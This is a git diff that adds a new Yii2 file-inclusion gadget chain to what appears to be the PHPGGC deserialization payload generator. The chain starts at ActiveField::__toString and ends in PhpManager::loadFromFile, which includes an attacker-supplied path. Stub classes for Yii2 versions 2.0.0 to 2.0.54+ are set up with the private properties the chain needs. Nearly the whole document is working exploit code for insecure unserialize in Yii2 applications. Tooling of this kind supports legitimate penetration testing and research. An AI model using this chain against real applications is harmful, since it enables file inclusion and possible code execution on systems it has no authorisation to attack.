diff --git a/gadgetchains/Yii2/FI/1/chain.php b/gadgetchains/Yii2/FI/1/chain.php
new file mode 100644
index 00000000..61db2aa0
--- /dev/null
+++ b/gadgetchains/Yii2/FI/1/chain.php
@@ -0,0 +1,23 @@
+<?php
+
+namespace GadgetChain\Yii2;
+
+class FI1 extends \PHPGGC\GadgetChain\FileInclude
+{
+    public static $version = '2.0.0 <= 2.0.54+';
+    public static $vector = '__toString';
+    public static $author = 'Andrey Ryzhov (github.com/notdenied), Elizar Batin';
+    public static $information = '
+        Includes $remote_path through yii\rbac\PhpManager::loadFromFile().
+        The chain starts in yii\widgets\ActiveField::__toString() and requires
+        Yii.php to be loaded, which is normally true in Yii2 applications.
+    ';
+
+    public function generate(array $parameters)
+    {
+        return new \yii\widgets\ActiveField(
+            new \yii\di\ServiceLocator($parameters['remote_path']),
+            new \yii\base\DynamicModel()
+        );
+    }
+}
diff --git a/gadgetchains/Yii2/FI/1/gadgets.php b/gadgetchains/Yii2/FI/1/gadgets.php
new file mode 100644
index 00000000..4c2588e6
--- /dev/null
+++ b/gadgetchains/Yii2/FI/1/gadgets.php
@@ -0,0 +1,112 @@
+<?php
+
+namespace yii\base
+{
+    class Component
+    {
+        private $_events = [];
+        private $_eventWildcards = [];
+        private $_behaviors = null;
+    }
+
+    class Model extends Component
+    {
+        private $_errors = null;
+        private $_validators;
+    }
+
+    class DynamicModel extends Model
+    {
+        private $_attributes = ['t' => 'v'];
+    }
+}
+
+namespace yii\di
+{
+    class ServiceLocator extends \yii\base\Component
+    {
+        private $_components;
+        private $_definitions;
+
+        public function __construct($remote_path)
+        {
+            $this->_components = [];
+            $this->_definitions = [
+                'enableClientScript' => new \stdClass(),
+                'enableAjaxValidation' => [
+                    'class' => 'yii\rbac\PhpManager',
+                    'itemFile' => '/__phpggc_nonexistent_items__',
+                    'assignmentFile' => '/__phpggc_nonexistent_assignment__',
+                    'ruleFile' => $remote_path,
+                ],
+                'attributes' => [
+                    'class' => 'yii\web\CookieCollection',
+                ],
+                'validationStateOn' => new \stdClass(),
+            ];
+        }
+    }
+}
+
+namespace yii\rbac
+{
+    class PhpManager extends \yii\base\Component
+    {
+        public $itemFile;
+        public $assignmentFile;
+        public $ruleFile;
+    }
+}
+
+namespace yii\validators
+{
+    class Validator extends \yii\base\Component
+    {
+        public $attributes = ['t'];
+        public $enableClientValidation = false;
+        public $when = true;
+    }
+
+    class RequiredValidator extends Validator
+    {
+    }
+}
+
+namespace yii\widgets
+{
+    class ActiveField
+    {
+        public $form;
+        public $model;
+        public $attribute = 't';
+        public $parts = [
+            '{input}' => 'IN',
+            '{label}' => 'LA',
+            '{error}' => 'ER',
+            '{hint}' => 'HI',
+        ];
+        public $template = '{input}';
+        public $enableClientValidation = false;
+        public $enableAjaxValidation = null;
+        public $validateOnChange = true;
+        public $validateOnBlur = true;
+        public $validateOnType = false;
+        public $validationDelay = 500;
+        public $selectors = [];
+        public $errorOptions = ['class' => 'help-block'];
+        public $addAriaAttributes = true;
+
+        public function __construct($form, $model)
+        {
+            $this->form = $form;
+            $this->model = $model;
+
+            $model_reflection = new \ReflectionClass('yii\base\Model');
+            $validators = $model_reflection->getProperty('_validators');
+            if (PHP_VERSION_ID < 80100) {
+                $validators->setAccessible(true);
+            }
+            $validators->setValue($model, [new \yii\validators\RequiredValidator()]);
+        }
+    }
+}